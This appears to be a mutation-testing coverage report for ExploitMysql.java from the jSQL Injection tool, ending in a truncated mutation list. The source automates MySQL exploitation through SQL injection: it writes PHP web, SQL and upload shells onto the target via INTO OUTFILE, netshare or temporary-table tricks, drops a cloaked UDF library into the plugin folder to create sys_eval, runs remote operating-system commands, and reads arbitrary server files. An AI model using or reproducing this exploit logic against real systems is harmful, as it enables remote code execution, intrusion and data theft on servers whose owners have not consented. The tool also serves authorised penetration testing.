ExploitMysql.java

1
package com.jsql.model.accessible.engine;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ExploitMode;
6
import com.jsql.model.accessible.ResourceAccess;
7
import com.jsql.model.accessible.engine.mysql.ModelYamlMysql;
8
import com.jsql.model.bean.database.MockElement;
9
import com.jsql.model.suspendable.Input;
10
import com.jsql.view.subscriber.Seal;
11
import com.jsql.model.exception.AbstractSlidingException;
12
import com.jsql.model.exception.JSqlException;
13
import com.jsql.model.exception.JSqlRuntimeException;
14
import com.jsql.model.injection.engine.model.EngineYaml;
15
import com.jsql.model.suspendable.SuspendableGetRows;
16
import com.jsql.util.LogLevelUtil;
17
import com.jsql.util.StringUtil;
18
import org.apache.commons.codec.binary.Hex;
19
import org.apache.commons.lang3.RandomStringUtils;
20
import org.apache.commons.lang3.StringUtils;
21
import org.apache.logging.log4j.LogManager;
22
import org.apache.logging.log4j.Logger;
23
import org.yaml.snakeyaml.Yaml;
24
25
import java.io.*;
26
import java.net.http.HttpResponse;
27
import java.nio.charset.StandardCharsets;
28
import java.nio.file.Files;
29
import java.nio.file.Path;
30
import java.nio.file.Paths;
31
import java.util.List;
32
import java.util.Objects;
33
import java.util.UUID;
34
import java.util.function.BiPredicate;
35
import java.util.function.BinaryOperator;
36
37
public class ExploitMysql {
38
39
    private static final Logger LOGGER = LogManager.getRootLogger();
40
    public static final String NAME_TABLE = "temp";
41
    private final InjectionModel injectionModel;
42
    private final ModelYamlMysql modelYaml;
43
44
    private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
45
        try {
46 2 1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::lambda$new$0 → NO_COVERAGE
2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::lambda$new$0 → NO_COVERAGE
            return this.buildSysEval(nameLibraryRandom);
47
        } catch (JSqlException e) {
48
            throw new JSqlRuntimeException(e);
49
        }
50
    };
51
52
    public ExploitMysql(InjectionModel injectionModel) {
53
        this.injectionModel = injectionModel;
54
        var yaml = new Yaml();
55
        this.modelYaml = yaml.loadAs(
56
            injectionModel.getMediatorEngine().getMysql().instance().getModelYaml().getResource().getExploit(),
57
            ModelYamlMysql.class
58
        );
59
    }
60
61
    public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
62
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
63
64
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65 1 1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
66 1 1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE
            return urlSuccess;
67
        };
68 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::createWeb → NO_COVERAGE
        return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
69
    }
70
71
    public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
72
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
74 2 1. lambda$createSql$2 : negated conditional → NO_COVERAGE
2. lambda$createSql$2 : negated conditional → NO_COVERAGE
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
75 1 1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
76 1 1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createSql$2 → NO_COVERAGE
                return urlSuccess;
77
            }
78
            return StringUtils.EMPTY;
79
        };
80
        var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
81 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
82
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
83
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
84
        }
85 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
86
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
87
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
88
        }
89 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
90
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
91
        }
92 1 1. createSql : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::createSql → NO_COVERAGE
        return urlSuccess;
93
    }
94
95
    public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
96
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
97
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
98
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
99 1 1. lambda$createUpload$3 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
100
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
101
                } else {
102
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
103
                }
104
            } catch (InterruptedException e) {
105
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
106 1 1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
107
            } catch (IOException | JSqlException e) {
108
                throw new JSqlRuntimeException(e);
109
            }
110 1 1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE
            return urlSuccess;
111
        };
112
        this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
113
    }
114
115
    /**
116
     * Create shell on remote server
117
     * @param urlExploit  URL for the script (used for url rewriting)
118
     */
119
    public String create(
120
        String pathRemoteFolder,
121
        String urlExploit,
122
        String keyPropertyExploit,
123
        String nameExploit,
124
        BinaryOperator<String> biFuncGetRequest,
125
        String pathNetshareFolder,
126
        ExploitMode exploitMode
127
    ) throws JSqlException {
128 1 1. create : negated conditional → NO_COVERAGE
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
129 1 1. create : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE
            return null;
130
        }
131
132
        String bodyExploit = StringUtil.base64Decode(
133
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(keyPropertyExploit)
134
            )
135
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
136
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
137
138
        // outfile + binary: content corruption
139
        BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
140
            try {
141
                String resultInjection = this.confirm(pathFolder + nameFile);
142 2 1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::lambda$create$4 → NO_COVERAGE
2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::lambda$create$4 → NO_COVERAGE
                return resultInjection.contains(bodyExploit);
143
            } catch (JSqlException e) {
144
                throw new JSqlRuntimeException(e);
145
            }
146
        };
147
148 1 1. create : Replaced integer subtraction with addition → NO_COVERAGE
        var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
149
        String nameExploitValidated = StringUtils.EMPTY;
150
151 1 1. create : negated conditional → NO_COVERAGE
        if (exploitMode == ExploitMode.NETSHARE) {
152 1 1. create : removed call to com/jsql/model/accessible/engine/ExploitMysql::copyBodyToShare → NO_COVERAGE
            ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
153
            nameExploitValidated = this.byNetshare(
154
                nbIndexesPrefix,
155
                pathNetshareFolder,
156
                nameExploit,
157
                pathRemoteFolder,
158
                biPredConfirm
159
            );
160 2 1. create : negated conditional → NO_COVERAGE
2. create : negated conditional → NO_COVERAGE
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
161
            nameExploitValidated = this.byQueryBody(
162
                nbIndexesPrefix,
163
                pathRemoteFolder,
164
                nameExploit,
165
                StringUtil.toHexChunks(bodyExploit.getBytes()),
166
                biPredConfirm
167
            );
168
        }
169 3 1. create : negated conditional → NO_COVERAGE
2. create : negated conditional → NO_COVERAGE
3. create : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
170
            var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
171 1 1. create : removed call to com/jsql/model/accessible/engine/ExploitMysql::byTable → NO_COVERAGE
            this.byTable(
172
                StringUtil.toHexChunks(bodyExploit.getBytes()),
173
                pathRemoteFolder + nameExploitRandom
174
            );
175 1 1. create : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
176
                nameExploitValidated = nameExploitRandom;
177
            }
178
        }
179
180 1 1. create : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
181
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
182 1 1. create : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE
            return null;
183
        }
184
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
185
186 1 1. create : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::create → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploitValidated, biFuncGetRequest);
187
    }
188
189
    public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
190
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
191
192 1 1. createUdf : negated conditional → NO_COVERAGE
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
193
            return;
194
        }
195
196 1 1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE
        var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
197
        var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
198 1 1. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(pathPlugin)) {
199
            throw new JSqlException("Incorrect plugin folder: path is empty");
200
        }
201
202
        String nameLibrary = this.getNameLibrary();
203
204
        pathPlugin = pathPlugin.replace("\\", "/");
205 1 1. createUdf : negated conditional → NO_COVERAGE
        if (!pathPlugin.endsWith("/")) {
206
            pathPlugin = String.format("%s%s", pathPlugin, "/");
207
        }
208
209 1 1. createUdf : negated conditional → NO_COVERAGE
        if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
210
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
211
        }
212
        String isSuccess = StringUtils.EMPTY;
213 1 1. createUdf : negated conditional → NO_COVERAGE
        if (exploitMode == ExploitMode.NETSHARE) {
214
            var pathNetshareFolderFixed = pathNetshareFolder;
215 1 1. createUdf : negated conditional → NO_COVERAGE
            if (!pathNetshareFolderFixed.endsWith("\\")) {
216
                pathNetshareFolderFixed += "\\";
217
            }
218 1 1. createUdf : removed call to com/jsql/model/accessible/engine/ExploitMysql::copyLibraryToShare → NO_COVERAGE
            ExploitMysql.copyLibraryToShare(pathNetshareFolderFixed, nameLibrary);
219
            isSuccess = this.byNetshare(
220
                nbIndexesFound,
221
                pathNetshareFolderFixed,
222
                nameLibrary,
223
                pathPlugin,
224
                this.biPredCreateUdf
225
            );
226 2 1. createUdf : negated conditional → NO_COVERAGE
2. createUdf : negated conditional → NO_COVERAGE
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
227 1 1. createUdf : negated conditional → NO_COVERAGE
            if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().connectionUtil().getTypeRequest())) {
228
                LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
229
            }
230
            isSuccess = this.byQueryBody(
231
                nbIndexesFound,
232
                pathPlugin,
233
                nameLibrary,
234
                ExploitMysql.toHexChunks(nameLibrary),
235
                this.biPredCreateUdf
236
            );
237
        }
238 3 1. createUdf : negated conditional → NO_COVERAGE
2. createUdf : negated conditional → NO_COVERAGE
3. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
239
            var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
240 1 1. createUdf : removed call to com/jsql/model/accessible/engine/ExploitMysql::byTable → NO_COVERAGE
            this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
241
            this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
242
        }
243
    }
244
245
    private String getNameLibrary() throws JSqlException {
246
        var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
247 1 1. getNameLibrary : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(versionOsMachine)) {
248
            throw new JSqlException("Incorrect remote machine: unknown system");
249
        }
250 2 1. getNameLibrary : negated conditional → NO_COVERAGE
2. getNameLibrary : negated conditional → NO_COVERAGE
        var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
251
        String nameLibrary;
252 1 1. getNameLibrary : negated conditional → NO_COVERAGE
        if (versionOsMachine.contains("64")) {
253 1 1. getNameLibrary : negated conditional → NO_COVERAGE
            nameLibrary = isWin ? "64.dll" : "64.so";
254
        } else {
255 1 1. getNameLibrary : negated conditional → NO_COVERAGE
            nameLibrary = isWin ? "32.dll" : "32.so";
256
        }
257 1 1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getNameLibrary → NO_COVERAGE
        return nameLibrary;
258
    }
259
260
    public String byQueryBody(
261
        int nbIndexesPrefix,
262
        String pathRemoteFolder,
263
        String nameExploit,
264
        List<String> hexChunks,
265
        BiPredicate<String, String> biPredConfirm
266
    ) {
267
        String nameExploitValidated = StringUtils.EMPTY;
268
        var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
269
270
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
271 1 1. byQueryBody : negated conditional → NO_COVERAGE
        int countUnionIndex = this.injectionModel.getMediatorUtils().preferencesUtil().isLimitingUnionIndex()
272
            ? this.injectionModel.getMediatorUtils().preferencesUtil().countUnionIndex()
273
            : 15;
274 2 1. byQueryBody : negated conditional → NO_COVERAGE
2. byQueryBody : changed conditional boundary → NO_COVERAGE
        for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
275
            int finalI = i;
276
            LOGGER.log(
277
                LogLevelUtil.CONSOLE_DEFAULT,
278
                "Checking file write with [union select {}fileBody]",
279 1 1. lambda$byQueryBody$5 : replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE
                () -> "'',".repeat(finalI)
280
            );
281
            this.injectionModel.injectWithoutIndex(String.format(pattern,
282
                "and 1=2 union",  // false required, prevent writing origin rows instead of file body when true
283
                "'',".repeat(i),
284
                String.join(StringUtils.EMPTY, hexChunks),
285
                pathRemoteFolder + nameExploitRandom
286
            ), "body#union-dump");
287 1 1. byQueryBody : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
288
                nameExploitValidated = nameExploitRandom;
289
                break;
290 2 1. byQueryBody : changed conditional boundary → NO_COVERAGE
2. byQueryBody : negated conditional → NO_COVERAGE
            } else if (nbIndexesPrefix > -1) {  // interrupt when Union already found
291
                break;
292
            }
293
        }
294 1 1. byQueryBody : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
295
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
296
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
297
            this.injectionModel.injectWithoutIndex(String.format(pattern,
298
                ";",
299
                StringUtils.EMPTY,
300
                String.join(StringUtils.EMPTY, hexChunks),
301
                pathRemoteFolder + nameExploitRandom
302
            ), "body#stack-dump");
303 1 1. byQueryBody : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
304
                nameExploitValidated = nameExploitRandom;
305
            }
306
        }
307 1 1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::byQueryBody → NO_COVERAGE
        return nameExploitValidated;
308
    }
309
310
    public String byNetshare(
311
        int nbIndexesPrefix,
312
        String pathNetshareFolder,
313
        String nameExploit,
314
        String pathRemoteFolder,
315
        BiPredicate<String, String> biPredConfirm
316
    ) {
317
        String nameExploitValidated = StringUtils.EMPTY;
318
        var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
319
        var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
320
321
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
322
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
323
        this.injectionModel.injectWithoutIndex(String.format(pattern,
324
            "and 1=2 union",  // required false, prevent writing origin rows instead of file body when true
325
            "'',".repeat(nbIndexesPrefix),
326
            pathShareEncoded + nameExploit,
327
            pathRemoteFolder + nameExploitRandom
328
        ), "netshare#union");
329 1 1. byNetshare : negated conditional → NO_COVERAGE
        if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
330
            nameExploitValidated = nameExploitRandom;
331
        }
332 1 1. byNetshare : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
333
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
334
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
335
            this.injectionModel.injectWithoutIndex(String.format(pattern,
336
                ";",
337
                StringUtils.EMPTY,
338
                pathShareEncoded + nameExploit,
339
                pathRemoteFolder + nameExploitRandom
340
            ), "netshare#stack");
341 1 1. byNetshare : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
342
                nameExploitValidated = nameExploitRandom;
343
            }
344
        }
345 1 1. byNetshare : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::byNetshare → NO_COVERAGE
        return nameExploitValidated;
346
    }
347
348
    public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
349
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
350
        var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
351 2 1. byTable : negated conditional → NO_COVERAGE
2. byTable : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
352
            nameDatabase = "mysql";
353
        }
354
        var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
355
        var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
356
        this.injectionModel.injectWithoutIndex(String.format(
357
            this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
358
            nameSchemaTable
359
        ), ResourceAccess.TBL_DROP);
360
        var countResult = this.getCountTable(nameDatabase, nameTableRandom);
361 1 1. byTable : negated conditional → NO_COVERAGE
        if (!"0".equals(countResult)) {
362
            throw new JSqlException("Drop table failure: "+ countResult);
363
        }
364
        this.injectionModel.injectWithoutIndex(String.format(
365
            this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
366
            nameSchemaTable
367
        ), ResourceAccess.TBL_CREATE);
368
        countResult = this.getCountTable(nameDatabase, nameTableRandom);
369 1 1. byTable : negated conditional → NO_COVERAGE
        if (!"1".equals(countResult)) {
370
            throw new JSqlException("Create table failure: "+ countResult);
371
        }
372
        int indexChunk = 0;
373
        for (String chunk: bodyHexChunks) {
374 1 1. byTable : negated conditional → NO_COVERAGE
            if (indexChunk == 0) {
375
                this.injectionModel.injectWithoutIndex(String.format(
376
                    this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
377
                    nameSchemaTable,
378
                    chunk
379
                ), "tbl#init");
380
            } else {
381
                this.injectionModel.injectWithoutIndex(String.format(
382
                    this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
383
                    nameSchemaTable,
384
                    chunk
385
                ), ResourceAccess.TBL_FILL);
386
            }
387 1 1. byTable : Changed increment from 1 to -1 → NO_COVERAGE
            indexChunk++;
388
        }
389
        this.injectionModel.injectWithoutIndex(String.format(
390
            this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
391
            nameSchemaTable,
392
            pathRemoteFile
393
        ), ResourceAccess.TBL_DUMP);
394
    }
395
396
    private String getCountTable(String nameDatabase, String nameTableRandom) {
397
        try {
398 1 1. getCountTable : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getCountTable → NO_COVERAGE
            return this.injectionModel.getResourceAccess().getResult(String.format(
399
                this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
400
                nameTableRandom,
401
                nameDatabase
402
            ), "tbl#check");
403
        } catch (JSqlException e) {
404 1 1. getCountTable : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getCountTable → NO_COVERAGE
            return e.getMessage();  // error message then logged
405
        }
406
    }
407
408
    private boolean buildSysEval(String nameLibrary) throws JSqlException {
409
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
410
        this.injectionModel.injectWithoutIndex(String.format(
411
            this.modelYaml.getUdf().getAddFunction().getCreate(),
412
            nameLibrary
413
        ), "udf#function");
414
        var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
415 1 1. buildSysEval : negated conditional → NO_COVERAGE
        if (!confirm.contains("sys_eval")) {
416
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
417 1 1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::buildSysEval → NO_COVERAGE
            return false;
418
        }
419
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
420
421 1 1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
422
            (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitMysql().runRceCmd(command, terminalID)
423
        ));
424 1 1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::buildSysEval → NO_COVERAGE
        return true;
425
    }
426
427
    public String confirm(String path) throws JSqlException {
428
        var sourcePage = new String[]{ StringUtils.EMPTY };
429 1 1. confirm : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::confirm → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(new Input(
430
            this.modelYaml.getFile().getRead().replace(
431
                EngineYaml.FILEPATH_HEX,
432
                Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
433
            ),
434
            sourcePage,
435
            false,
436
            1,
437
            MockElement.MOCK,
438
            "xplt#confirm-file"
439
        ));
440
    }
441
442
    public String runRceCmd(String command, UUID uuidShell) {
443
        String result;
444
        try {
445
            result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
446
                this.modelYaml.getUdf().getRunCmd(),
447
                command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
448
            ), "udf#run-cmd") +"\n";
449
        } catch (JSqlException e) {
450
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
451
        }
452 1 1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
453 1 1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::runRceCmd → NO_COVERAGE
        return result;
454
    }
455
456
    public String getRead(String pathFile) throws AbstractSlidingException {
457
        LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
458 1 1. getRead : replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::getRead → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(new Input(
459
            this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
460
                EngineYaml.FILEPATH_HEX,
461
                Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
462
            ),
463
            new String[]{ StringUtils.EMPTY },
464
            false,
465
            1,
466
            MockElement.MOCK,
467
            ResourceAccess.FILE_READ
468
        ));
469
    }
470
471
    private static List<String> toHexChunks(String filename) throws JSqlException {
472
        try {
473
            byte[] fileData = ExploitMysql.uncloak(filename);
474 1 1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitMysql::toHexChunks → NO_COVERAGE
            return StringUtil.toHexChunks(fileData);
475
        } catch (IOException e) {
476
            throw new JSqlException(e);
477
        }
478
    }
479
480
    private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
481
        try {
482
            byte[] fileData = ExploitMysql.uncloak(nameLibrary);
483
            Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
484
            try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
485 1 1. copyLibraryToShare : removed call to java/io/FileOutputStream::write → NO_COVERAGE
                stream.write(fileData);
486
            }
487
        } catch (IOException e) {
488
            throw new JSqlException(e);
489
        }
490
    }
491
492
    private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
493
        Path path = Paths.get(pathFile);
494
        try {
495
            Files.write(path, bodyExploit.getBytes());
496
        } catch (IOException e) {
497
            throw new JSqlException(e);
498
        }
499
    }
500
501
    private static byte[] uncloak(String nameLibrary) throws IOException {
502
        byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
503
            ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
504
        ).readAllBytes();
505
        fileData = StringUtil.uncloak(fileData);
506 1 1. uncloak : replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::uncloak → NO_COVERAGE
        return fileData;
507
    }
508
509
    public ModelYamlMysql getModelYaml() {
510 1 1. getModelYaml : replaced return value with null for com/jsql/model/accessible/engine/ExploitMysql::getModelYaml → NO_COVERAGE
        return this.modelYaml;
511
    }
512
}

Mutations

46

1.1
Location : lambda$new$0
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/engine/ExploitMysql::lambda$new$0 → NO_COVERAGE

2.2
Location : lambda$new$0
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/engine/ExploitMysql::lambda$new$0 → NO_COVERAGE

65

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

66

1.1
Location : lambda$createWeb$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE

68

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::createWeb → NO_COVERAGE

74

1.1
Location : lambda$createSql$2
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : lambda$createSql$2
Killed by : none
negated conditional → NO_COVERAGE

75

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

76

1.1
Location : lambda$createSql$2
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitMysql::lambda$createSql$2 → NO_COVERAGE

81

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

85

1.1
Location : createSql
Killed by : none
